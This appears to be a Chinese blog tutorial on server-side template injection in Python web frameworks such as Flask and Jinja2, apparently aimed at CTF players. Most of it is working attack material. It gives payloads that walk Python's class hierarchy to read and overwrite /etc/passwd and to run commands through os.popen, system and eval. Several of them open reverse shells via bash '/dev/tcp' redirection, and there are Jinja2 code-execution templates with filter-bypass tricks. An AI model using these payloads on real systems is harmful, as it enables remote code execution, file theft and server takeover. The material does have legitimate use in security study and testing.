SSTI模板注入

SSTI模板注入

说明

SSTI服务器端模板注入(Server-Side Template Injection),与SQL注入、XSS注入等相同,都是从用户获取一个输入,由于代码不规范或信任了用户输入,后端的渲染处理上进行了语句的拼接,而导致了服务端模板注入。

SSTI利用的是网站模板引擎,主要针对pythonphpjava的一些网站处理框架,比如Pythonjinja2makotornadodjangophpsmarty twigjavajadevelocity,当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

例子:Flask

from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.errorhandler(404)
def page_not_found(e):
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div> 
    ''' %(request.url)
    return render_template_string(template),404

if __name__ == '__main__':
    app.run(debug=True)

request.url参数用户可控,可注入代码,在进行目标编译渲染的过程中,执行了插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。

SSTI模板引擎的检测

发送类似下面的payload,不同模板语法有一些差异

smarty=Hello ${7*7}
Hello 49
twig=Hello {{7*7}}
Hello 49
twig=Hello {{7*'7'}}
Hello 49
Jinja2=Hello {{7*'7'}}
Hello 7777777

检测到模板注入漏洞后,需要准确识别模板引擎的类型。神器Burpsuite 自带检测功能,并对不同模板接受的 payload 做了一个分类,并以此快速判断模板引擎

ssti1

利用

Python

基础知识
名称空间

Python 的名称空间是从名称到对象的映射,在 Python 程序的执行过程中至少会存在两个名称空间

  • 内建名称空间:Python 自带的名字,在 Python 解释器启动时产生,存放一些 Python 内置的名字
  • 全局名称空间:在执行文件时,存放文件级别定义的名字
  • 局部名称空间(可能不存在):在执行文件的过程中,如果调用了函数,则会产生该函数的名称空间,用来存放该函数内定义的名字,该名字在函数调用时生效,调用结束后失效

加载顺序:内置名称空间 —> 全局名称空间 —> 局部名称空间

查找顺序:局部名称空间 —> 全局名称空间 —> 内置名称空间

继承
  • 构造 Python-SSTIPayload 需要类继承

  • Python 中一切均为对象,均继承于 object 对象,Pythonobject 类中集成了很多的基础函数,假如需要在 Payload 中使用某个函数就需要用 object 去操作

  • 常见的继承关系的方法有以下三种:

    • base:对象的一个基类,一般情况下是 object
    • mro:获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object 在最底层所以在列表中的最后,通过 mro[-1] 可以获取到
    • subclasses():继承此对象的子类,返回一个列表
  • 攻击方式为:变量 -> 对象 -> 基类 -> 子类遍历 -> 全局变量

Python2子类
>>> for i in enumerate(().__class__.__bases__[0].__subclasses__()): print(i)
...
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
(19, <type 'buffer'>)
(20, <type 'long'>)
(21, <type 'frozenset'>)
(22, <type 'property'>)
(23, <type 'memoryview'>)
(24, <type 'tuple'>)
(25, <type 'enumerate'>)
(26, <type 'reversed'>)
(27, <type 'code'>)
(28, <type 'frame'>)
(29, <type 'builtin_function_or_method'>)
(30, <type 'instancemethod'>)
(31, <type 'function'>)
(32, <type 'classobj'>)
(33, <type 'dictproxy'>)
(34, <type 'generator'>)
(35, <type 'getset_descriptor'>)
(36, <type 'wrapper_descriptor'>)
(37, <type 'instance'>)
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
(41, <type 'PyCapsule'>)
(42, <type 'cell'>)
(43, <type 'callable-iterator'>)
(44, <type 'iterator'>)
(45, <type 'sys.long_info'>)
(46, <type 'sys.float_info'>)
(47, <type 'EncodingMap'>)
(48, <type 'fieldnameiterator'>)
(49, <type 'formatteriterator'>)
(50, <type 'sys.version_info'>)
(51, <type 'sys.flags'>)
(52, <type 'exceptions.BaseException'>)
(53, <type 'module'>)
(54, <type 'imp.NullImporter'>)
(55, <type 'zipimport.zipimporter'>)
(56, <type 'posix.stat_result'>)
(57, <type 'posix.statvfs_result'>)
(58, <class 'warnings.WarningMessage'>)
(59, <class 'warnings.catch_warnings'>)
(60, <class '_weakrefset._IterationGuard'>)
(61, <class '_weakrefset.WeakSet'>)
(62, <class '_abcoll.Hashable'>)
(63, <type 'classmethod'>)
(64, <class '_abcoll.Iterable'>)
(65, <class '_abcoll.Sized'>)
(66, <class '_abcoll.Container'>)
(67, <class '_abcoll.Callable'>)
(68, <type 'dict_keys'>)
(69, <type 'dict_items'>)
(70, <type 'dict_values'>)
(71, <class 'site._Printer'>)
(72, <class 'site._Helper'>)
(73, <type '_sre.SRE_Pattern'>)
(74, <type '_sre.SRE_Match'>)
(75, <type '_sre.SRE_Scanner'>)
(76, <class 'site.Quitter'>)
(77, <class 'codecs.IncrementalEncoder'>)
(78, <class 'codecs.IncrementalDecoder'>)
Python3子类
>>> for i in enumerate(().__class__.__bases__[0].__subclasses__()): print(i)
...
(0, <class 'type'>)
(1, <class 'weakref'>)
(2, <class 'weakcallableproxy'>)
(3, <class 'weakproxy'>)
(4, <class 'int'>)
(5, <class 'bytearray'>)
(6, <class 'bytes'>)
(7, <class 'list'>)
(8, <class 'NoneType'>)
(9, <class 'NotImplementedType'>)
(10, <class 'traceback'>)
(11, <class 'super'>)
(12, <class 'range'>)
(13, <class 'dict'>)
(14, <class 'dict_keys'>)
(15, <class 'dict_values'>)
(16, <class 'dict_items'>)
(17, <class 'odict_iterator'>)
(18, <class 'set'>)
(19, <class 'str'>)
(20, <class 'slice'>)
(21, <class 'staticmethod'>)
(22, <class 'complex'>)
(23, <class 'float'>)
(24, <class 'frozenset'>)
(25, <class 'property'>)
(26, <class 'managedbuffer'>)
(27, <class 'memoryview'>)
(28, <class 'tuple'>)
(29, <class 'enumerate'>)
(30, <class 'reversed'>)
(31, <class 'stderrprinter'>)
(32, <class 'code'>)
(33, <class 'frame'>)
(34, <class 'builtin_function_or_method'>)
(35, <class 'method'>)
(36, <class 'function'>)
(37, <class 'mappingproxy'>)
(38, <class 'generator'>)
(39, <class 'getset_descriptor'>)
(40, <class 'wrapper_descriptor'>)
(41, <class 'method-wrapper'>)
(42, <class 'ellipsis'>)
(43, <class 'member_descriptor'>)
(44, <class 'types.SimpleNamespace'>)
(45, <class 'PyCapsule'>)
(46, <class 'longrange_iterator'>)
(47, <class 'cell'>)
(48, <class 'instancemethod'>)
(49, <class 'classmethod_descriptor'>)
(50, <class 'method_descriptor'>)
(51, <class 'callable_iterator'>)
(52, <class 'iterator'>)
(53, <class 'coroutine'>)
(54, <class 'coroutine_wrapper'>)
(55, <class 'EncodingMap'>)
(56, <class 'fieldnameiterator'>)
(57, <class 'formatteriterator'>)
(58, <class 'filter'>)
(59, <class 'map'>)
(60, <class 'zip'>)
(61, <class 'moduledef'>)
(62, <class 'module'>)
(63, <class 'BaseException'>)
(64, <class '_frozen_importlib._ModuleLock'>)
(65, <class '_frozen_importlib._DummyModuleLock'>)
(66, <class '_frozen_importlib._ModuleLockManager'>)
(67, <class '_frozen_importlib._installed_safely'>)
(68, <class '_frozen_importlib.ModuleSpec'>)
(69, <class '_frozen_importlib.BuiltinImporter'>)
(70, <class 'classmethod'>)
(71, <class '_frozen_importlib.FrozenImporter'>)
(72, <class '_frozen_importlib._ImportLockContext'>)
(73, <class '_thread._localdummy'>)
(74, <class '_thread._local'>)
(75, <class '_thread.lock'>)
(76, <class '_thread.RLock'>)
(77, <class '_frozen_importlib_external.WindowsRegistryFinder'>)
(78, <class '_frozen_importlib_external._LoaderBasics'>)
(79, <class '_frozen_importlib_external.FileLoader'>)
(80, <class '_frozen_importlib_external._NamespacePath'>)
(81, <class '_frozen_importlib_external._NamespaceLoader'>)
(82, <class '_frozen_importlib_external.PathFinder'>)
(83, <class '_frozen_importlib_external.FileFinder'>)
(84, <class '_io._IOBase'>)
(85, <class '_io._BytesIOBuffer'>)
(86, <class '_io.IncrementalNewlineDecoder'>)
(87, <class 'posix.ScandirIterator'>)
(88, <class 'posix.DirEntry'>)
(89, <class 'zipimport.zipimporter'>)
(90, <class 'codecs.Codec'>)
(91, <class 'codecs.IncrementalEncoder'>)
(92, <class 'codecs.IncrementalDecoder'>)
(93, <class 'codecs.StreamReaderWriter'>)
(94, <class 'codecs.StreamRecoder'>)
(95, <class '_weakrefset._IterationGuard'>)
(96, <class '_weakrefset.WeakSet'>)
(97, <class 'abc.ABC'>)
(98, <class 'collections.abc.Hashable'>)
(99, <class 'collections.abc.Awaitable'>)
(100, <class 'collections.abc.AsyncIterable'>)
(101, <class 'async_generator'>)
(102, <class 'collections.abc.Iterable'>)
(103, <class 'bytes_iterator'>)
(104, <class 'bytearray_iterator'>)
(105, <class 'dict_keyiterator'>)
(106, <class 'dict_valueiterator'>)
(107, <class 'dict_itemiterator'>)
(108, <class 'list_iterator'>)
(109, <class 'list_reverseiterator'>)
(110, <class 'range_iterator'>)
(111, <class 'set_iterator'>)
(112, <class 'str_iterator'>)
(113, <class 'tuple_iterator'>)
(114, <class 'collections.abc.Sized'>)
(115, <class 'collections.abc.Container'>)
(116, <class 'collections.abc.Callable'>)
(117, <class 'os._wrap_close'>)
(118, <class '_sitebuiltins.Quitter'>)
(119, <class '_sitebuiltins._Printer'>)
(120, <class '_sitebuiltins._Helper'>)
(121, <class 'types.DynamicClassAttribute'>)
(122, <class 'functools.partial'>)
(123, <class 'functools._lru_cache_wrapper'>)
(124, <class 'operator.itemgetter'>)
(125, <class 'operator.attrgetter'>)
(126, <class 'operator.methodcaller'>)
(127, <class 'itertools.accumulate'>)
(128, <class 'itertools.combinations'>)
(129, <class 'itertools.combinations_with_replacement'>)
(130, <class 'itertools.cycle'>)
(131, <class 'itertools.dropwhile'>)
(132, <class 'itertools.takewhile'>)
(133, <class 'itertools.islice'>)
(134, <class 'itertools.starmap'>)
(135, <class 'itertools.chain'>)
(136, <class 'itertools.compress'>)
(137, <class 'itertools.filterfalse'>)
(138, <class 'itertools.count'>)
(139, <class 'itertools.zip_longest'>)
(140, <class 'itertools.permutations'>)
(141, <class 'itertools.product'>)
(142, <class 'itertools.repeat'>)
(143, <class 'itertools.groupby'>)
(144, <class 'itertools._grouper'>)
(145, <class 'itertools._tee'>)
(146, <class 'itertools._tee_dataobject'>)
(147, <class 'reprlib.Repr'>)
(148, <class 'collections.deque'>)
(149, <class '_collections._deque_iterator'>)
(150, <class '_collections._deque_reverse_iterator'>)
(151, <class 'collections._Link'>)
(152, <class 'weakref.finalize._Info'>)
(153, <class 'weakref.finalize'>)
(154, <class 'functools.partialmethod'>)
(155, <class 'types._GeneratorWrapper'>)
(156, <class 'warnings.WarningMessage'>)
(157, <class 'warnings.catch_warnings'>)
(158, <class 'importlib.abc.Finder'>)
(159, <class 'importlib.abc.Loader'>)
(160, <class 'contextlib.ContextDecorator'>)
(161, <class 'rlcompleter.Completer'>)
(162, <class 'apt_pkg.Configuration'>)
(163, <class 'pkgCacheFile'>)
(164, <class 'apt_pkg.TagSection'>)
(165, <class 'apt_pkg.TagFile'>)
(166, <class 'apt_pkg.Tag'>)
(167, <class 'apt_pkg.Acquire'>)
(168, <class 'apt_pkg.AcquireItem'>)
(169, <class 'apt_pkg.AcquireWorker'>)
(170, <class 'apt_pkg.Cache'>)
(171, <class 'apt_pkg.Dependency'>)
(172, <class 'apt_pkg.Description'>)
(173, <class 'apt_pkg.PackageFile'>)
(174, <class 'apt_pkg.PackageList'>)
(175, <class 'apt_pkg.DependencyList'>)
(176, <class 'apt_pkg.Package'>)
(177, <class 'apt_pkg.Version'>)
(178, <class 'apt_pkg.Group'>)
(179, <class 'apt_pkg.GroupList'>)
(180, <class 'apt_pkg.Cdrom'>)
(181, <class 'apt_pkg.ActionGroup'>)
(182, <class 'apt_pkg.DepCache'>)
(183, <class 'apt_pkg.ProblemResolver'>)
(184, <class 'apt_pkg.IndexFile'>)
(185, <class 'apt_pkg.MetaIndex'>)
(186, <class 'apt_pkg._PackageManager'>)
(187, <class 'apt_pkg.PackageRecords'>)
(188, <class 'apt_pkg.SourceRecords'>)
(189, <class 'apt_pkg.SourceRecordFiles'>)
(190, <class 'apt_pkg.SourceList'>)
(191, <class 'apt_pkg.HashString'>)
(192, <class 'apt_pkg.Policy'>)
(193, <class 'apt_pkg.Hashes'>)
(194, <class 'apt_pkg.AcquireItemDesc'>)
(195, <class 'apt_pkg.SystemLock'>)
(196, <class 'apt_pkg.FileLock'>)
(197, <class 'apt_pkg.OrderList'>)
(198, <class 'apt_pkg.HashStringList'>)
(199, <class 'enum.auto'>)
(200, <enum 'Enum'>)
(201, <class '_sre.SRE_Pattern'>)
(202, <class '_sre.SRE_Match'>)
(203, <class '_sre.SRE_Scanner'>)
(204, <class 'sre_parse.Pattern'>)
(205, <class 'sre_parse.SubPattern'>)
(206, <class 'sre_parse.Tokenizer'>)
(207, <class 're.Scanner'>)
(208, <class 'tokenize.Untokenizer'>)
(209, <class 'traceback.FrameSummary'>)
(210, <class 'traceback.TracebackException'>)
(211, <class 'select.poll'>)
(212, <class 'select.epoll'>)
(213, <class 'selectors.BaseSelector'>)
(214, <class 'threading._RLock'>)
(215, <class 'threading.Condition'>)
(216, <class 'threading.Semaphore'>)
(217, <class 'threading.Event'>)
(218, <class 'threading.Barrier'>)
(219, <class 'threading.Thread'>)
(220, <class 'subprocess.CompletedProcess'>)
(221, <class 'subprocess.Popen'>)
(222, <class 'zlib.Compress'>)
(223, <class 'zlib.Decompress'>)
(224, <class '_bz2.BZ2Compressor'>)
(225, <class '_bz2.BZ2Decompressor'>)
(226, <class '_lzma.LZMACompressor'>)
(227, <class '_lzma.LZMADecompressor'>)
(228, <class '_hashlib.HASH'>)
(229, <class '_blake2.blake2b'>)
(230, <class '_blake2.blake2s'>)
(231, <class '_sha3.sha3_224'>)
(232, <class '_sha3.sha3_256'>)
(233, <class '_sha3.sha3_384'>)
(234, <class '_sha3.sha3_512'>)
(235, <class '_sha3.shake_128'>)
(236, <class '_sha3.shake_256'>)
(237, <class '_random.Random'>)
(238, <class 'tempfile._RandomNameSequence'>)
(239, <class 'tempfile._TemporaryFileCloser'>)
(240, <class 'tempfile._TemporaryFileWrapper'>)
(241, <class 'tempfile.SpooledTemporaryFile'>)
(242, <class 'tempfile.TemporaryDirectory'>)
(243, <class 'imp.NullImporter'>)
(244, <class 'imp._HackedGetData'>)
(245, <class 'xml.dom.Node'>)
(246, <class 'xml.dom.UserDataHandler'>)
(247, <class 'xml.dom.NodeFilter.NodeFilter'>)
(248, <class 'xml.dom.xmlbuilder.Options'>)
(249, <class 'xml.dom.xmlbuilder.DOMBuilder'>)
(250, <class 'xml.dom.xmlbuilder.DOMEntityResolver'>)
(251, <class 'xml.dom.xmlbuilder.DOMInputSource'>)
(252, <class 'xml.dom.xmlbuilder.DOMBuilderFilter'>)
(253, <class 'xml.dom.xmlbuilder._AsyncDeprecatedProperty'>)
(254, <class 'xml.dom.xmlbuilder.DocumentLS'>)
(255, <class 'xml.dom.xmlbuilder.DOMImplementationLS'>)
(256, <class 'xml.dom.minidom.NamedNodeMap'>)
(257, <class 'xml.dom.minidom.TypeInfo'>)
(258, <class 'xml.dom.minidom.Childless'>)
(259, <class 'xml.dom.minidom.ReadOnlySequentialNamedNodeMap'>)
(260, <class 'xml.dom.minidom.Identified'>)
(261, <class 'xml.dom.minidom.ElementInfo'>)
(262, <class 'pyexpat.xmlparser'>)
(263, <class 'Struct'>)
(264, <class 'string.Template'>)
(265, <class 'string.Formatter'>)
(266, <class 'email.charset.Charset'>)
(267, <class 'email.header.Header'>)
(268, <class 'email.header._ValueFormatter'>)
(269, <class '_socket.socket'>)
(270, <class 'datetime.date'>)
(271, <class 'datetime.timedelta'>)
(272, <class 'datetime.time'>)
(273, <class 'datetime.tzinfo'>)
(274, <class 'urllib.parse._ResultMixinStr'>)
(275, <class 'urllib.parse._ResultMixinBytes'>)
(276, <class 'urllib.parse._NetlocResultMixinBase'>)
(277, <class 'calendar._localized_month'>)
(278, <class 'calendar._localized_day'>)
(279, <class 'calendar.Calendar'>)
(280, <class 'calendar.different_locale'>)
(281, <class 'email._parseaddr.AddrlistClass'>)
(282, <class 'email._policybase._PolicyBase'>)
(283, <class 'email.feedparser.BufferedSubFile'>)
(284, <class 'email.feedparser.FeedParser'>)
(285, <class 'email.parser.Parser'>)
(286, <class 'email.parser.BytesParser'>)
(287, <class 'email.message.Message'>)
(288, <class 'http.client.HTTPConnection'>)
(289, <class 'ipaddress._IPAddressBase'>)
(290, <class 'ipaddress._BaseV4'>)
(291, <class 'ipaddress._IPv4Constants'>)
(292, <class 'ipaddress._BaseV6'>)
(293, <class 'ipaddress._IPv6Constants'>)
(294, <class 'textwrap.TextWrapper'>)
(295, <class '_ssl._SSLContext'>)
(296, <class '_ssl._SSLSocket'>)
(297, <class '_ssl.MemoryBIO'>)
(298, <class '_ssl.Session'>)
(299, <class 'ssl.SSLObject'>)
(300, <class 'urllib.request.Request'>)
(301, <class 'urllib.request.OpenerDirector'>)
(302, <class 'urllib.request.BaseHandler'>)
(303, <class 'urllib.request.HTTPPasswordMgr'>)
(304, <class 'urllib.request.AbstractBasicAuthHandler'>)
(305, <class 'urllib.request.AbstractDigestAuthHandler'>)
(306, <class 'urllib.request.URLopener'>)
(307, <class 'urllib.request.ftpwrapper'>)
(308, <class 'gzip._PaddedFile'>)
(309, <class 'email.headerregistry.Address'>)
(310, <class 'email.headerregistry.Group'>)
(311, <class 'email.headerregistry.UnstructuredHeader'>)
(312, <class 'email.headerregistry.DateHeader'>)
(313, <class 'email.headerregistry.AddressHeader'>)
(314, <class 'email.headerregistry.MIMEVersionHeader'>)
(315, <class 'email.headerregistry.ParameterizedMIMEHeader'>)
(316, <class 'email.headerregistry.ContentTransferEncodingHeader'>)
(317, <class 'email.headerregistry.HeaderRegistry'>)
(318, <class 'email.contentmanager.ContentManager'>)
(319, <class 'problem_report.CompressedValue'>)
(320, <class 'configparser.Interpolation'>)
(321, <class '_json.Scanner'>)
(322, <class '_json.Encoder'>)
(323, <class 'json.decoder.JSONDecoder'>)
(324, <class 'json.encoder.JSONEncoder'>)
(325, <class '__future__._Feature'>)
(326, <class 'logging.LogRecord'>)
(327, <class 'logging.PercentStyle'>)
(328, <class 'logging.Formatter'>)
(329, <class 'logging.BufferingFormatter'>)
(330, <class 'logging.Filter'>)
(331, <class 'logging.Filterer'>)
(332, <class 'logging.PlaceHolder'>)
(333, <class 'logging.Manager'>)
(334, <class 'logging.LoggerAdapter'>)
(335, typing._TypingBase)
(336, typing.Generic)
(337, <class 'typing._TypingEmpty'>)
(338, <class 'typing._TypingEllipsis'>)
(339, typing.Protocol)
(340, typing.Generic[+T_co])
(341, typing.Generic[+T_co, -T_contra, +V_co])
(342, typing.Protocol[+T_co])
(343, typing.Generic[~KT, +VT_co])
(344, typing.Generic[+T_co, -T_contra])
(345, typing.Generic[+CT_co])
(346, <class 'typing.NamedTuple'>)
(347, typing.Generic[~AnyStr])
(348, <class 'typing.io'>)
(349, <class 'typing.re'>)
(350, <class 'apt.progress.base.AcquireProgress'>)
(351, <class 'apt.progress.base.CdromProgress'>)
(352, <class 'apt.progress.base.InstallProgress'>)
(353, <class 'apt.progress.base.OpProgress'>)
(354, <class 'apt.progress.text.TextProgress'>)
(355, <class 'apt.package.BaseDependency'>)
(356, <class 'apt.package.Origin'>)
(357, <class 'apt.package.Version'>)
(358, <class 'apt.package.Package'>)
(359, <class 'apt.cache._WrappedLock'>)
(360, <class 'apt.cache.Cache'>)
(361, <class 'apt.cache.ProblemResolver'>)
(362, <class 'apt.cache.Filter'>)
(363, <class 'apt.cache._FilteredCacheHelper'>)
(364, <class 'apt.cache.FilteredCache'>)
(365, <class 'pickle._Framer'>)
(366, <class 'pickle._Unframer'>)
(367, <class 'pickle._Pickler'>)
(368, <class 'pickle._Unpickler'>)
(369, <class '_pickle.Unpickler'>)
(370, <class '_pickle.Pickler'>)
(371, <class '_pickle.Pdata'>)
(372, <class '_pickle.PicklerMemoProxy'>)
(373, <class '_pickle.UnpicklerMemoProxy'>)
(374, <class 'apport.packaging.PackageInfo'>)
(375, <class 'gettext.NullTranslations'>)
攻击步骤
  1. 使用strlisttupledict等获取基本类

    对于返回的是定义的Class类的话:
    __dict__          //返回类中的函数和属性,父类子类互不影响
    __base__          //返回类的父类 python3
    __mro__           //返回类继承的元组,(寻找父类) python3
    __init__          //返回类的初始化方法   
    __subclasses__()  //返回类中仍然可用的引用  python3
    __globals__       //对包含函数全局变量的字典的引用 python3
    对于返回的是类实例的话:
    __class__         //返回实例的对象,可以使类实例指向Class,使用上面的魔术方法

    示例

    ''.__class__.__mro__[-1]
    {}.__class__.__bases__[0]
    ().__class__.__bases__[0]
    [].__class__.__bases__[0]
  2. 继续向下获取基本类 (object) 的子类

    object.__subclasses__()
  3. 找到重载过的__init__类(在获取初始化属性后,带 wrapper 的说明没有重载,寻找不带 wrapper 的)

    >>> ''.__class__.__mro__[-1].__subclasses__()[99].__init__
    
    >>> ''.__class__.__mro__[-1].__subclasses__()[59].__init__
    
  4. 查看其引用 __builtins__

    Python 程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于 builtins 却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块。

    # Python2
    ''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']
  5. 这里会返回 dict 类型,寻找 keys 中可用函数,直接调用即可,使用 keys 中的 file 以实现读取文件的功能

    # Python2
    ''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
  6. 也可以在子类列表中寻找可利用的类

    • 我们一般来说是先知晓一些可以getshell的类,然后再去跑这些类的索引,然后这里先讲述如何去跑索引

    • 这里先给出一个在本地遍历的脚本,原理是先遍历所有子类,然后再遍历子类的方法的所引用的东西,来搜索是否调用了我们所需要的方法,以popen为例子

    search='popen'
    num=-1
    for i in ''.__class__.__mro__[-1].__subclasses__():
    num+=1
    try:
    if search in i.__init__.__globals__.keys():
    print(i,num)
    except:
    pass 
    python3 find.py
     117

    调用其中的popen来执行命令

    >>> [].__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('whoami').read()
    'root\n'

    但是上面的方法仅限于在本地寻找,因为在做CTF题目的时候,我们无法在题目环境中运行这个find.py,这里用一个师傅的一个脚本直接去寻找子类

    • 首先把所有的子类列举出来
    for i in ().__class__.__bases__[0].__subclasses__(): print(i,end=",")

    然后把子类列表放进下面脚本中的a中,然后寻找os._wrap_close这个类

    import json
    a = """
    ,...,
    """
    num = 0
    allList = []
    result = ""
    for i in a:
    if i == ">":
    result += i
    allList.append(result)
    result = ""
    elif i == "\n" or i == ",":
    continue
    else:
    result += i
    for k,v in enumerate(allList):
    if "os._wrap_close" in v:
    print(str(k)+"--->"+v)

Python2

利用file

注:仅Python2可用

读文件

''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd').read()

写文件

''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd','w').write('evil code')
利用linecache

find.py脚本中的search变量赋值为linecache,去寻找含有linecache的类

python2 find.py
(, 58)
(, 59)

命令执行

''.__class__.__mro__[-1].__subclasses__()[59].__init__.func_globals['linecache'].os.popen('whoami').read()

反弹shell

().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/xxxx/9999 0>&1"')
# 该Payload不能直接放在 URL 中执行 , 因为 & 的存在会导致 URL 解析出现错误,可以使用burp等工具
利用os模块中的systempopen

find.py脚本中的search变量赋值为os,去寻找含有os的类

python2 find.py
(<class 'site._Printer'>, 68)
(<class 'site.Quitter'>, 73)

popen

''.__class__.__mro__[-1].__subclasses__()[68].__init__.__globals__['os'].popen('whoami').read()

system

''.__class__.__mro__[-1].__subclasses__()[73].__init__.__globals__['os'].system('whoami')

反弹shell

''.__class__.__mro__[-1].__subclasses__()[68].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()
# 该Payload不能直接放在 URL 中执行 , 因为 & 的存在会导致 URL 解析出现错误,可以使用burp等工具

Python3

利用popen

同样find.py脚本中的search变量赋值为popen,去寻找含有popen的类

python3 find.py
<class 'os._wrap_close'> 117

命令执行

[].__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('whoami').read()
利用__import__导入其他模块

find.py脚本中的search变量修改为__import__,去寻找含有__import__的类

python3 find.py
<class '_frozen_importlib._ModuleLock'> 64
<class '_frozen_importlib._DummyModuleLock'> 65
<class '_frozen_importlib._ModuleLockManager'> 66
<class '_frozen_importlib._installed_safely'> 67
<class '_frozen_importlib.ModuleSpec'> 68
# 随便用一个就好

命令执行

# 导入os模块使用里面的popen进行命令执行
[].__class__.__mro__[-1].__subclasses__()[64].__init__.__globals__['__import__']('os').popen('whoami').read()

通用payload

利用__builtins__

原理就是找到含有__builtins__的类,然后利用

find.py脚本中的search变量赋值为__builtins__,去寻找含有__builtins__的类

python2 find.py
(<class 'warnings.WarningMessage'>, 58)
(<class 'warnings.catch_warnings'>, 59)
(<class '_weakrefset._IterationGuard'>, 60)
(<class '_weakrefset.WeakSet'>, 61)
(<class 'site._Printer'>, 68)
(<class 'site.Quitter'>, 73)
(<class 'codecs.IncrementalEncoder'>, 74)
(<class 'codecs.IncrementalDecoder'>, 75)
python3 find.py
<class '_frozen_importlib._ModuleLock'> 64
<class '_frozen_importlib._DummyModuleLock'> 65
<class '_frozen_importlib._ModuleLockManager'> 66
<class '_frozen_importlib._installed_safely'> 67
<class '_frozen_importlib.ModuleSpec'> 68
<class '_frozen_importlib_external.FileLoader'> 79
<class '_frozen_importlib_external._NamespacePath'> 80
<class '_frozen_importlib_external._NamespaceLoader'> 81
<class '_frozen_importlib_external.FileFinder'> 83
<class 'codecs.IncrementalEncoder'> 91
<class 'codecs.IncrementalDecoder'> 92
<class 'codecs.StreamReaderWriter'> 93
<class 'codecs.StreamRecoder'> 94
<class '_weakrefset._IterationGuard'> 95
<class '_weakrefset.WeakSet'> 96
<class 'os._wrap_close'> 117
<class '_sitebuiltins.Quitter'> 118
<class '_sitebuiltins._Printer'> 119

其下evalopen__import__等均可使用,常用__import__导入其他模块结合使用

读文件

[].__class__.__mro__[-1].__subclasses__()[68].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()

写文件

[].__class__.__mro__[-1].__subclasses__()[68].__init__.__globals__['__builtins__']['open']('/etc/passwd','w').write("hack code")

命令执行

[].__class__.__mro__[-1].__subclasses__()[68].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')
[].__class__.__mro__[-1].__subclasses__()[68].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

jinja2

在jinja2中 控制结构 {% %} 变量取值 {{ }} 注释 {# #}

payload

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls /").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
# python3

若过滤可采用以下方式bypass

  • 字符串拼接

    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_wa'+'rni'+'ngs' %}
    {% for b in c.__init__.__globals__.values() %}
    {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
    {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
    {% endif %}
    {% endif %}
    {% endfor %}
    {% endif %}
    {% endfor %}
    # python3
  • 倒序输出

    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'sgninraw_hctac'[::-1] %}
    {% for b in c.__init__.__globals__.values() %}
    {% if b.__class__ == {}.__class__ %}
    {% if 'lave'[::-1] in b.keys() %}
    {{ b['lave'[::-1]](')(daer.)"dwssap/cte/ tac"(nepop.)"so"(__tropmi__'[::-1]) }}
    {% endif %}
    {% endif %}
    {% endfor %}
    {% endif %}
    {% endfor %}
    # python3

tips:上诉缩进只是方便观看层级逻辑,使用时完全可以删除缩进

暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇